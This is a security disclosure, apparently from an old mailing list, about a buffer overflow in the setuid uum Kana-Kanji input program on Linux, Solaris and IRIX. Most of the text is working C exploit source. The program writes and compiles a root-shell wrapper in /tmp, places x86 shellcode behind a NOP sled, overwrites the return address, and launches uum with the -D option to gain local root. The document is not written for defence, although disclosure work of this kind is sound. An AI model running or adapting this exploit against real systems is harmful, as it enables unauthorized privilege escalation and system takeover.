I found the security vulnerability in uum Japanese Kana-Kanji FEP. This program is installed on many Japanese UNIX with default. /usr/bin/uum is a suid program, it overflows if the long argment is specified with -D option. I coded an exploit for the Linux, the local user can obtain a root privilege. I also confirmed this overflow on the following OSs. Solaris 2.6,2.7, IRIX 5.3,6.2,6.3,6.4,6.5.
75d10efd76a82f9cc72dc1429601602647de0c1bcc53dae1aed671cf4c40f5ed
/*=============================================================================
/usr/bin/uum Exploit for Linux
The Shadow Penguin Security (https://shadowpenguin.backsection.net)
Written by
UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdlib.h>
#include <stdio.h>
#define RET_ADR 84
#define EXP_ADR 204
#define MAXBUF 300
#define JMP_OFS 0x484
#define NOP 0x90
#define SHELL "/tmp/pp"
#define COMPILER "gcc"
char exec[60]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
char xx[MAXBUF+1];
unsigned int i,ip,sp;
FILE *fp;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
main()
{
strcat(exec,SHELL);
sprintf(xx,"%s.c",SHELL);
if ((fp=fopen(xx,"w"))==NULL){
printf("Can not write to %s\n",xx);
exit(1);
}
fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
fclose(fp);
sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
system(xx);
sp=get_sp();
memset(xx,NOP,MAXBUF);
ip=sp-JMP_OFS;
printf("Jumping address = %x\n",ip);
xx[RET_ADR ]=ip&0xff;
xx[RET_ADR+1]=(ip>>8)&0xff;
xx[RET_ADR+2]=(ip>>16)&0xff;
xx[RET_ADR+3]=(ip>>24)&0xff;
strncpy(xx+EXP_ADR,exec,strlen(exec));
xx[MAXBUF]=0;
execl("/usr/bin/uum","uum","-D",xx,(char *) 0);
}